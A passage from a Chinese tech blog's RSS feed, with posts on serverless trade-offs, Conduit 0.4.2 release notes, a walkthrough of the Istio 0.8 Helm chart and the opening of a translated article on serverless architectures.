&lt;li&gt;无服务器平台需要处理好微服务的故障恢复、按需伸缩、日志和监控，并在代码变更后执行滚动更新。开发者除了函数本身，所有其他问题都无需关注。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;无服务器架构的不足&#34;&gt;无服务器架构的不足&lt;/h2&gt;

&lt;p&gt;无服务器并非银弹，还是有一些不足的。有专家说，云服务商经常会缩减一些使用率不高的环境的资源，他们还会限制用户的资源总量，这样就产生一个矛盾——高性能和高延迟同时出现。另外云服务商的监控、排错和安全都会有自己的思路，可能让用户觉得很古怪。这些问题的根源就是：公有云是不受客户控制的。&lt;/p&gt;

&lt;p&gt;Amazon Lambda 跟无服务器计算是同时进步的，提供了一个多数人都可以接受的模型。 因为 Lambda 是无服务器技术的开创者，所以他的不足也自然而然的被视作无服务器技术的不足：缓慢的冷启动、低性能、短命的函数以及千篇一律的触发器。目前认为这些限制是所有无服务器平台的通病，然而实际上，这是实现过程的一些选择问题。我们应该注意一些新的无服务器平台，例如 &lt;a href=&#34;https://nuclio.io/&#34; target=&#34;_blank&#34;&gt;Nuclio&lt;/a&gt;，他提供了更丰富的用例。这些平台的限制更少，提供更好的性能，同时能够运行在多种云甚至是私有云上。&lt;/p&gt;

&lt;p&gt;”极客们喜欢这个，但是企业还在试水——他们连 Docker/K8S 还没用上呢，就来到无服务器时代了，“，Haviv 说。”和任何新技术一样，我们需要首先争取到早期试用者——他们通常更敏捷、更能承受风险，然后才能接近大众。而要获得早期试用者，需要建立信任、看到证据、解决性能、安全等方面的疑难等等。“&lt;/p&gt;

&lt;p&gt;显然无服务器技术正在日新月异的向前发展，肯定无法十全十美。虽然下面的话不一定是什么缺点，但却是能让董事们无法安坐在 Aeron 椅子的一个问题：”数字化转型总在被新技术打断，因此企业必须更加敏捷和并正视风险，“Haviv 指出。&lt;/p&gt;

&lt;p&gt;”有趣之处在于，Docker/K8S 的抽象是非常复杂的，而无服务器技术虽然更加新潮，却更加简单、更易接受。“&lt;/p&gt;

&lt;h2 id=&#34;我的公司是否适合无服务器技术&#34;&gt;我的公司是否适合无服务器技术？&lt;/h2&gt;

&lt;p&gt;暂时不提企业适合无服务器技术是好是坏，我们先来看看领导厂商。&lt;/p&gt;

&lt;p&gt;Oracle 的 Arimura 认为：”字面上来说，所有组织和公司，只要需要编写软件的，就都适合使用无服务器技术“，”目前的文化和云原生之间的距离越远，就越难应用无服务器技术“，换句话说，如果一个公司没有使用公有云、也没有在内部试用 Kubernetes 或者 Docker 这样的新技术，那么无服务器可能就不是一个合适的尝试。&lt;/p&gt;

&lt;p&gt;”这是一个新架构，需要不同的思维方式。最简单的例子：如果一个单体应用拆分为十个微服务，再分为一百个函数，这些单元都具有自己的发布周期和复杂的依赖关系。这很明显需要成熟稳定的持续构建、交付以及自动化系统的支撑。“，Arimura 说，”敏捷创新是无服务器技术的必要支撑，否则造成的害处可能要多余带来的益处。“&lt;/p&gt;

&lt;p&gt;”DevOps 的目标不是 NoOps，这完全是个错误思路，无服务器技术更加需要 DevOps 的支持。“&lt;/p&gt;

&lt;p&gt;来自 Bitnami 的 Goasguen 补充，采用无服务器技术（尤其是 AWS Lambda）的大多数公司都是以开发者为中心的，他们在此之前已经在应用 AWS，现在使用无服务器计算把服务连接在一起。所以机会就是，如果现在还没有使用 AWS，那么你不需要无服务器技术，然而你仍然应该保持跟踪，开始评估，识别企业中可能存在的事件源，看看如何使用这些事件构建完整的应用管线。&lt;/p&gt;

&lt;h2 id=&#34;企业如何试水无服务器技术&#34;&gt;企业如何试水无服务器技术？&lt;/h2&gt;

&lt;p&gt;”不要把一个单体应用整体转化为微服务或者函数“，Arimura 建议，”使用公司的最重要项目来学习新架构是不明智的，尤其是在公司的文化还在 DevOps 的尝试阶段。“&lt;/p&gt;

&lt;p&gt;从小处入手，例如一点自动化任务，或者一些市场活动以及一些事件驱动的用例等。&lt;/p&gt;

&lt;p&gt;New Stack 的无服务器技术系列，将协助你的公司探索无服务器的新领域。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Conduit 0.4.2 发布</title>
      <link>/post/conduit-0.4.2-release/</link>
      <pubDate>Tue, 05 Jun 2018 10:04:16 +0800</pubDate>
      <guid>/post/conduit-0.4.2-release/</guid>
      <description>

&lt;p&gt;Conduit 0.4.2 是生产就绪之路上的重要一步。这个版本为代理服务器的长期运行做出了很多修复和提高，并提供了更多的遥测功能。同时也为未来的双向 TLS 版本打好了基础。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;生产就绪

&lt;ul&gt;
&lt;li&gt;代理服务器会丢弃 10 分钟未更新的指标，以防长期运行过程中造成的额外的内存增长。&lt;/li&gt;
&lt;li&gt;新增了一个约束，限制一个节点能够路由的服务数量，缺省为 100。这样在代理服务器长期运行的时候，可以在容量到达上限的时候，丢弃闲置最久的客户端，从而达到节约资源的目的。&lt;/li&gt;
&lt;li&gt;代理服务器现在能够正确的处理 HTTP/2 请求的取消。&lt;/li&gt;
&lt;li&gt;修复连接错误时候的请求处理。&lt;/li&gt;
&lt;li&gt;正确处理 DNS 的 TTL。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;conduit inject&lt;/code&gt; 现在可以处理 &lt;code&gt;statefulset&lt;/code&gt; 对象了。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;遥测

&lt;ul&gt;
&lt;li&gt;新版本的 &lt;code&gt;conduit stat&lt;/code&gt; 现在支持所有的 Kubernetes 资源，能够展示一个命名空间内所有对象的流量统计。&lt;/li&gt;
&lt;li&gt;Conduit Web UI 提供了命名空间概述的展示。&lt;/li&gt;
&lt;li&gt;修复了 Tap 功能的一个 Bug，这个 Bug 让代理服务器无法同时响应多个 Tap 请求。&lt;/li&gt;
&lt;li&gt;修复了故障状态下，无法报告某些 TCP 流的问题。&lt;/li&gt;
&lt;li&gt;加入了首字节响应时间的指标。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;内部

&lt;ul&gt;
&lt;li&gt;环境配置加入了对友好的时间格式的支持（例如 10s）。&lt;/li&gt;
&lt;li&gt;控制面使用 Kubernetes 1.10.2 客户端。&lt;/li&gt;
&lt;li&gt;更丰富的 Debug 日志，包含了 Socket 和 Stream 的元数据。&lt;/li&gt;
&lt;li&gt;为 TLS 支持对代理做出大量改进。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;非常感谢 &lt;a href=&#34;https://github.com/carllhw&#34; target=&#34;_blank&#34;&gt;@carllhw&lt;/a&gt;、&lt;a href=&#34;https://github.com/kichristensen&#34; target=&#34;_blank&#34;&gt;@kichristensen&lt;/a&gt; 和 &lt;a href=&#34;https://github.com/sfroment&#34; target=&#34;_blank&#34;&gt;@sfroment&lt;/a&gt; 做出的贡献。&lt;/p&gt;

&lt;h2 id=&#34;从-0-4-1-升级&#34;&gt;从 0.4.1 升级&lt;/h2&gt;

&lt;p&gt;从 0.4.1 升级时，建议首先升级控制面，然后再升级注入。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Istio 0.8 的 Helm Chart 解析</title>
      <link>/post/istio-0.8.0-helm/</link>
      <pubDate>Mon, 04 Jun 2018 09:39:10 +0800</pubDate>
      <guid>/post/istio-0.8.0-helm/</guid>
      <description>

&lt;p&gt;儿童节期间，拖拉了一个多月的 Istio 0.8 正式发布了，这可能是 Istio 1.0 之前的最后一个 LTS 版本，意义重大。&lt;/p&gt;

&lt;p&gt;新版本中，原来的 Kubernetes 安装文件 &lt;code&gt;install/kubernetes/istio.yaml&lt;/code&gt;，变成了 &lt;code&gt;install/kubernetes/istio-demo.yaml&lt;/code&gt;，是的，你没看错，这个 LTS 的安装文件名字叫 demo。查看了一下文档，大概察觉到不靠谱的 Istio 发布组的意图了：这个项目的组件相对比较复杂，原有的一些选项是靠 ConfigMap 以及 istioctl 分别调整的，现在通过重新设计的 Helm Chart，安装选项用 values.yml 或者 helm 命令行的方式来进行集中管理了。下面就由看看 Istio 的 Helm Chart 的安装部署及其结构。&lt;/p&gt;

&lt;h2 id=&#34;使用-helm-安装-istio&#34;&gt;使用 Helm 安装 Istio&lt;/h2&gt;

&lt;p&gt;安装包内的 Helm 目录中包含了 Istio 的 Chart，官方提供了两种方法：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;用 Helm 生成 istio.yaml，然后自行安装。&lt;/li&gt;
&lt;li&gt;用 Tiller 直接安装。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;很明显，两种方法并没有什么本质区别。例如第一个命令：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;helm template install/kubernetes/helm/istio \
    --name istio --namespace  \
    istio-system &amp;gt; $HOME/istio.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里说的是使用 &lt;code&gt;install/kubernetes/helm/istio&lt;/code&gt; 目录中的 Chart 进行渲染，生成的内容保存到 &lt;code&gt;$HOME/istio.yaml&lt;/code&gt; 文件之中。而第二个命令&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;helm template install/kubernetes/helm/istio \
    --name istio --namespace istio-system \
    --set sidecarInjectorWebhook.enabled=false &amp;gt; $HOME/istio.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;只是设置了 Chart 中的一个变量 &lt;code&gt;sidecarInjectorWebhook.enabled&lt;/code&gt; 为 False。从而禁止自动注入属性生效。&lt;/p&gt;

&lt;p&gt;我们照猫画虎，看看命令二的结果提交到 Kubernetes 中会发生什么事情。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;helm template install/kubernetes/helm/istio --name istio \
--namespace istio-system --set sidecarInjectorWebhook.enabled=false &amp;gt; $HOME/istio.yaml

kubectl create namespace istio-system
kubectl create -f $HOME/istio.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;根据不同的网络情况，可能需要几分钟的等待，最后会看到这些 Pod 在运行：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;istio-citadel-ff5696f6f-h4rdz
istio-cleanup-old-ca-rp5p6
istio-egressgateway-58d98d898c-5jnpz
istio-ingress-6fb78f687f-wsl5q
istio-ingressgateway-6bc7c7c4bc-hhrh7
istio-mixer-post-install-d2kl5
istio-pilot-6c5c6b586c-dqv2w
istio-policy-5c7fbb4b9f-xmv6f
istio-statsd-prom-bridge-6dbb7dcc7f-27tx7
istio-telemetry-54b5bf4847-9gpr7
prometheus-586d95b8d9-gb846
&lt;/code&gt;&lt;/pre&gt;

&lt;ol&gt;
&lt;li&gt;过去的 istio-ca 现已更名 istio-citadel。&lt;/li&gt;
&lt;li&gt;istio-cleanup-old-ca 是一个 job，用于清理过去的 Istio 遗留下来的 CA 部署（包括 sa、deploy 以及 svc 三个对象）。&lt;/li&gt;
&lt;li&gt;istio-mixer-post-install 同样也是一个 job，和上面的 Job 一样，简单的调用 kubectl 创建第三方资源，从而避免了之前的 CDR 需要重复创建的尴尬状况。&lt;/li&gt;
&lt;li&gt;egressgateway、ingress 以及 ingressgateway，可以看出边缘部分的变动很大，以后会另行发文。&lt;/li&gt;
&lt;li&gt;和从前不同，缺省已经打开了监控界面。&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&#34;helm-chart-的安装配置&#34;&gt;Helm Chart 的安装配置&lt;/h3&gt;

&lt;p&gt;下面的配置项目，都可以使用 helm 的 &lt;code&gt;--set key=value&lt;/code&gt; 来设置，可以重复使用，用来设置多个值。&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;选项&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;th&gt;缺省值&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;global.hub&lt;/td&gt;
&lt;td&gt;绝大部分镜像所在的镜像库地址&lt;/td&gt;
&lt;td&gt;&lt;code&gt;docker.io/istionightly&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;global.tag&lt;/td&gt;
&lt;td&gt;Istio 使用的绝大部分镜像的 Tag&lt;/td&gt;
&lt;td&gt;&lt;code&gt;circleci-nightly&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;global.proxy.image&lt;/td&gt;
&lt;td&gt;指定 Proxy 的镜像名称&lt;/td&gt;
&lt;td&gt;&lt;code&gt;proxyv2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;global.imagePullPolicy&lt;/td&gt;
&lt;td&gt;镜像拉取策略&lt;/td&gt;
&lt;td&gt;&lt;code&gt;IfNotPresent&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;global.controlPlaneSecurityEnabled&lt;/td&gt;
&lt;td&gt;控制面是否启动 mTLS&lt;/td&gt;
&lt;td&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;global.mtls.enabled&lt;/td&gt;
&lt;td&gt;服务间是否缺省启用 mTLS&lt;/td&gt;
&lt;td&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;global.mtls.mtlsExcludedServices&lt;/td&gt;
&lt;td&gt;禁用 mTLS 的 FQDN 列表&lt;/td&gt;
&lt;td&gt;&lt;code&gt;- kubernetes.default.svc.cluster.local&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;global.rbacEnabled&lt;/td&gt;
&lt;td&gt;是否创建 RBAC 规则&lt;/td&gt;
&lt;td&gt;&lt;code&gt;true&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;global.refreshInterval&lt;/td&gt;
&lt;td&gt;Mesh 发现间隔&lt;/td&gt;
&lt;td&gt;&lt;code&gt;10s&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;global.arch.amd64&lt;/td&gt;
&lt;td&gt;amd64 架构中的调度策略，0：never；1: least preferred；2：no preference；3：most preferred&lt;/td&gt;
&lt;td&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;global.arch.s390x&lt;/td&gt;
&lt;td&gt;amd64 架构中的调度策略，0：never；1: least preferred；2：no preference；3：most preferred&lt;/td&gt;
&lt;td&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;global.arch.ppc64le&lt;/td&gt;
&lt;td&gt;amd64 架构中的调度策略，0：never；1: least preferred；2：no preference；3：most preferred&lt;/td&gt;
&lt;td&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;galley.enabled&lt;/td&gt;
&lt;td&gt;是否安装 Galley 用于进行服务端的配置验证，需要 1.9 版本以上的 Kubernetes&lt;/td&gt;
&lt;td&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;上面的内容来自&lt;a href=&#34;https://istio.io/docs/setup/kubernetes/helm-install/&#34; target=&#34;_blank&#34;&gt;官方文档&lt;/a&gt;，其实这是不符合实际情况的（Istio 用户的日常）。在 &lt;code&gt;install/kubernetes/helm/istio/values.yaml&lt;/code&gt; 中，包含这一发行版本中的所有的缺省值。可以直接修改或者新建 values.yaml，并在 helm 命令行使用 &lt;code&gt;-f my-values.yaml&lt;/code&gt; 参数来生成自行定制的 &lt;code&gt;istio.yaml&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&#34;解读-istio-helm-chart-中的模块&#34;&gt;解读 Istio Helm Chart 中的模块&lt;/h2&gt;

&lt;p&gt;打开 Istio 的 Chart 之后，发现其中并没有任何组件的内容，只有两个 Configmap 对象的模板。其安装主体再次很非主流的通过依赖 Chart 的方式实现了完全的模块化。因此这个 Chart 的主体，实际上是 &lt;code&gt;requirements.yaml&lt;/code&gt;，打开这个文件，会看到规规矩矩的列出很多模块，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;  - name: sidecarInjectorWebhook
    version: 0.8.0
    # repository: file://../sidecarInjectorWebhook
    condition: sidecarInjectorWebhook.enabled
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这表明在 &lt;code&gt;sidecarInjectorWebhook&lt;/code&gt; 取值为 &lt;code&gt;enabled&lt;/code&gt; 的时候，就渲染这一模板。因此这里可以看做是模块的启用停用的控制点。这里列出的模块包括：&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;模块&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;egressgateway&lt;/td&gt;
&lt;td&gt;外发流量网关&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;galley&lt;/td&gt;
&lt;td&gt;在 K8S 服务端验证 Istio 的 CRD 资源的合法性&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;grafana&lt;/td&gt;
&lt;td&gt;Dashboard&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;ingress&lt;/td&gt;
&lt;td&gt;Ingress Controller&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;ingressgateway&lt;/td&gt;
&lt;td&gt;Ingress Gateway&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;mixer&lt;/td&gt;
&lt;td&gt;Mixer&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;pilot&lt;/td&gt;
&lt;td&gt;Pilot&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;prometheus&lt;/td&gt;
&lt;td&gt;Prometheus&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;security&lt;/td&gt;
&lt;td&gt;安全相关内容&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;servicegraph&lt;/td&gt;
&lt;td&gt;调用关系图&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;sidecarInjectorWebhook&lt;/td&gt;
&lt;td&gt;自动注入&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;tracing&lt;/td&gt;
&lt;td&gt;Zipkin Jeager 的跟踪服务&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;下面逐一做一下简要说明&lt;/p&gt;

&lt;h3 id=&#34;egressgateway&#34;&gt;egressgateway&lt;/h3&gt;

&lt;p&gt;外发通信的网关。&lt;/p&gt;

&lt;p&gt;他的设置保存在 &lt;code&gt;values.yaml&lt;/code&gt; 的 &lt;code&gt;egressgateway&lt;/code&gt; 一节中（都是保存在同名分支下，后面不再重复）。部署内容包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Deployment 和 Service：一个 proxy。&lt;/li&gt;
&lt;li&gt;HPA&lt;/li&gt;
&lt;li&gt;RBAC 相关内容&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;可定制项目包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;服务端口和类型&lt;/li&gt;
&lt;li&gt;HPA 实例数量上下限&lt;/li&gt;
&lt;li&gt;资源限制&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;galley&#34;&gt;galley&lt;/h3&gt;

&lt;p&gt;之前的 istio 版本中，只能通过 istioctl 验证 Istio 相关 CRD 的有效性，这个模块提供一个在服务端验证 CRD 的方法，他的部署内容包含：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Deployement 和 Service。&lt;/li&gt;
&lt;li&gt;RBAC 相关&lt;/li&gt;
&lt;li&gt;用于 CRD 校验的 ValidatingWebhookConfiguration 对象。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;校验目标包含 Pilot（例如 destinationpolicies 和 routerules） 和 Mixer（例如 memquotas 和 prometheuses） 两类 CRD。&lt;/p&gt;

&lt;h3 id=&#34;grafana&#34;&gt;grafana&lt;/h3&gt;

&lt;p&gt;一个带有 Istio 定制 Dashboard 的 Grafana 封装。&lt;/p&gt;

&lt;p&gt;实际上将其镜像中的 Dashboard 复制出来就可以在其他 Grafana 实例上运行了。&lt;/p&gt;

&lt;p&gt;定制内容的 &lt;code&gt;grafana.ingress.*&lt;/code&gt; 中包含 Ingress 的配置，用于外网访问。&lt;/p&gt;

&lt;h3 id=&#34;ingress&#34;&gt;ingress&lt;/h3&gt;

&lt;p&gt;Istio 的 Ingress Controller&lt;/p&gt;

&lt;p&gt;具体部署内容和 egresscontroller 基本一致。&lt;/p&gt;

&lt;h3 id=&#34;ingressgateway&#34;&gt;ingressgateway&lt;/h3&gt;

&lt;p&gt;0.8.0 新增功能，为 Ingress 通信提供 Istio rules/destination 等特性。&lt;/p&gt;

&lt;p&gt;部署内容和 ingress 类似。&lt;/p&gt;

&lt;h3 id=&#34;mixer&#34;&gt;mixer&lt;/h3&gt;

&lt;p&gt;Mixer 负责的是遥测和前置检查，他的 Chart 相对比较复杂，部署内容包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;和前面的版本不同，Mixer 的部署分成了两个部分，分别是 Policy 和 Telemetry 两个 Deployment 对象。&lt;/li&gt;
&lt;li&gt;Service 也同样分成两个，其中 telemetry service 多了一个 prometheus 端口&lt;/li&gt;
&lt;li&gt;&lt;code&gt;crds.yaml&lt;/code&gt; 中包含了 mixer 所支持的所有 crd 定义（例如 memquotas 和 prometheuses）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;create-custom-resources-job.yaml&lt;/code&gt; 中包含了用于创建 crd 的 Job 对象。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;pilot&#34;&gt;pilot&lt;/h3&gt;

&lt;p&gt;Pilot 承上启下，负责服务发现和向 Proxy 下发配置。除了常规的 Deployment 和 Service 之外，还包含了 &lt;code&gt;crds.yaml&lt;/code&gt;，用于声明 CRD 资源类型（例如 destinationpolicies 和 routerules）。&lt;/p&gt;

&lt;h3 id=&#34;prometheus&#34;&gt;prometheus&lt;/h3&gt;

&lt;p&gt;这个组件跟前面的 Grafana 类似，也是一个预定义的镜像。这个模板中的 Configmap 就是 Prometheus 的抓取配置，可以直接用到其他的 Prometheus 实例之中。&lt;/p&gt;

&lt;h3 id=&#34;security&#34;&gt;security&lt;/h3&gt;

&lt;p&gt;旧版本中的 Istio-ca&lt;/p&gt;

&lt;p&gt;Security 部分的部署内容包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;RBAC&lt;/li&gt;
&lt;li&gt;Job：使用 kubectl 清理旧版本 istio-ca 实例。&lt;/li&gt;
&lt;li&gt;Deployment，原 CA。&lt;/li&gt;
&lt;li&gt;Service：开放两个端口，分别服务于 http 和 gRPC。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;servicegraph&#34;&gt;servicegraph&lt;/h3&gt;

&lt;p&gt;Service Graph 支持，和 Grafana 基本一致。&lt;/p&gt;

&lt;h3 id=&#34;sidecarinjectorwebhook&#34;&gt;sidecarInjectorWebhook&lt;/h3&gt;

&lt;p&gt;这一部分的功能是自动为 K8S 对象注入 Envoy。主要包含：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Deployment 和 Service&lt;/li&gt;
&lt;li&gt;RBAC 相关&lt;/li&gt;
&lt;li&gt;一个 &lt;code&gt;MutatingWebhookConfiguration&lt;/code&gt; 对象，会监听 Pod 的创建事件，用于自动注入。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;tracing&#34;&gt;tracing&lt;/h3&gt;

&lt;p&gt;Jeager 的跟踪支持，总体情况跟 Prometheus 和 Grafana 等监控组件类似，配置项和暴露服务方面稍有区别：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;配置中包含 Jaeger 的环境变量的控制。&lt;/li&gt;
&lt;li&gt;开启 jaeger 开关，会启用 Jaeger 的几个服务端口。&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>无服务器架构</title>
      <link>/post/serverless/</link>
      <pubDate>Wed, 30 May 2018 17:11:14 +0800</pubDate>
      <guid>/post/serverless/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://martinfowler.com/articles/serverless.html&#34; target=&#34;_blank&#34;&gt;Serverless Architectures&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://www.symphonia.io/bios/#mike-roberts&#34; target=&#34;_blank&#34;&gt;Mike Roberts&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;h2&gt;目录&lt;/h2&gt;
HAHAHUGOSHORTCODE-TOC0-HBHB&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;无服务器架构是一种应用设计方法，这种方法在 FaaS 平台之上，在受管理的临时容器中，把第三方 BaaS 服务以及客制代码结合起来提供服务。贯彻这种思路，以及单页应用等相关概念，能能够大大降低对保持开机的服务器的需求。无服务器架构能够显著降低运维成本、复杂性以及交付时间；但随之而来的，他增加了对供应商以及相对稚嫩的支持服务能力的依赖。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;无服务器运算&lt;/strong&gt;，或者简单说&lt;strong&gt;无服务器&lt;/strong&gt;，是软件架构界的一个新热点。三大云——亚马逊、谷歌以及微软都在无服务器方面下了重注，我们会看到很多的书籍、开源项目、会议以及软件供应商，都不约而同的关注这一主题。但是什么是无服务器？是否值得重视？为什么值得重视？本文中我希望能在这一问题方面给读者一些启迪。&lt;/p&gt;

&lt;p&gt;我们首先来解答“无服务器运算是什么”的问题，然后可以研究一下这一方法的得与失。&lt;/p&gt;

&lt;h2 id=&#34;无服务器是什么&#34;&gt;无服务器是什么&lt;/h2&gt;

&lt;p&gt;和软件方面的其他新浪潮一样，目前对无服务器还没有一个清晰的描述。对于初学者，它包含了两个不同但重叠的领域：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;无服务器最先用于描述一种主要或者全部由云端第三方应用和服务构成的，用于管理服务端逻辑和状态的（技术）。典型的富客户端应用——比如单页 Web 应用、或者移动应用，会使用大量的云端数据库（例如 Parse、Firebase）、认证服务（例如 Auth0、AWS Cognito）等。在前面的文章中曾经使用 “后端即服务”，简称 BaaS 来形容这些服务。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;无服务器还用来形容另一种应用，服务端逻辑还是由应用的开发者编写的，和传统架构的区别是，这种架构由事件驱动，运行于无状态的临时容器中、并且完全由第三方管理。一种理解就是“Functions As a Service”，也就是 FaaS（这个名称的&lt;a href=&#34;https://twitter.com/marak/status/736357543598002176&#34; target=&#34;_blank&#34;&gt;来源&lt;/a&gt;，是一条 &lt;a href=&#34;https://twitter.com/marka&#34; target=&#34;_blank&#34;&gt;@marka&lt;/a&gt; 的推特，目前已不可见）。&lt;a href=&#34;https://aws.amazon.com/lambda/&#34; target=&#34;_blank&#34;&gt;AWS Lambda&lt;/a&gt;就是 FaaS 平台中最著名的一个，当然，不是唯一一个。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;本文的主要焦点就在 FaaS 上：这不仅是因为这一架构比较新潮更加耀眼，更深入的原因是，他和我们现有的技术架构差异颇大。&lt;/p&gt;

&lt;p&gt;BaaS 和 FaaS 的一个相似之处是他们的运维属性（淡化资源管理）类似，并经常结合使用。几大公有云都提供了无服务器产品，其中包含了 FaaS 和 BaaS 产品：例如 &lt;a href=&#34;https://aws.amazon.com/serverless/&#34; target=&#34;_blank&#34;&gt;Amazon 的无服务器产品&lt;/a&gt;。Google 的 Firebase BaaS 数据库，也具有 &lt;a href=&#34;https://firebase.google.com/docs/functions/&#34; target=&#34;_blank&#34;&gt;Google Cloud Function for Firebase&lt;/a&gt; 提供的 FaaS 支持。&lt;/p&gt;

&lt;p&gt;在规模较小的公司中，这两种产品也会有类似的关联。例如 &lt;a href=&#34;https://auth0.com/&#34; target=&#34;_blank&#34;&gt;Auth0&lt;/a&gt; 初创期间的产品是 BaaS 形态的，提供了各种方面的用户管理方案；接下来开发了相关的 FaaS 形态的服务 &lt;a href=&#34;https://webtask.io/&#34; target=&#34;_blank&#34;&gt;Webtask&lt;/a&gt;。而且他们还有更进一步的产品 &lt;a href=&#34;https://auth0.com/extend/&#34; target=&#34;_blank&#34;&gt;Extend&lt;/a&gt;，该产品让其他的 SaaS 和 BaaS 公司能够轻松的在现有产品中加入 FaaS 能力，这样就能创建一个统一的无服务器产品了。&lt;/p&gt;

&lt;h3 id=&#34;两个例子&#34;&gt;两个例子&lt;/h3&gt;

&lt;h4 id=&#34;界面驱动的应用&#34;&gt;界面驱动的应用&lt;/h4&gt;

&lt;p&gt;我们可以回忆一下一种常见的应用形态：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;面向客户&lt;/li&gt;
&lt;li&gt;三层结构&lt;/li&gt;
&lt;li&gt;服务端逻辑&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;一个很好的例子就是典型的电子商务 App ——或者怂怂的说：Pet Store？&lt;/p&gt;

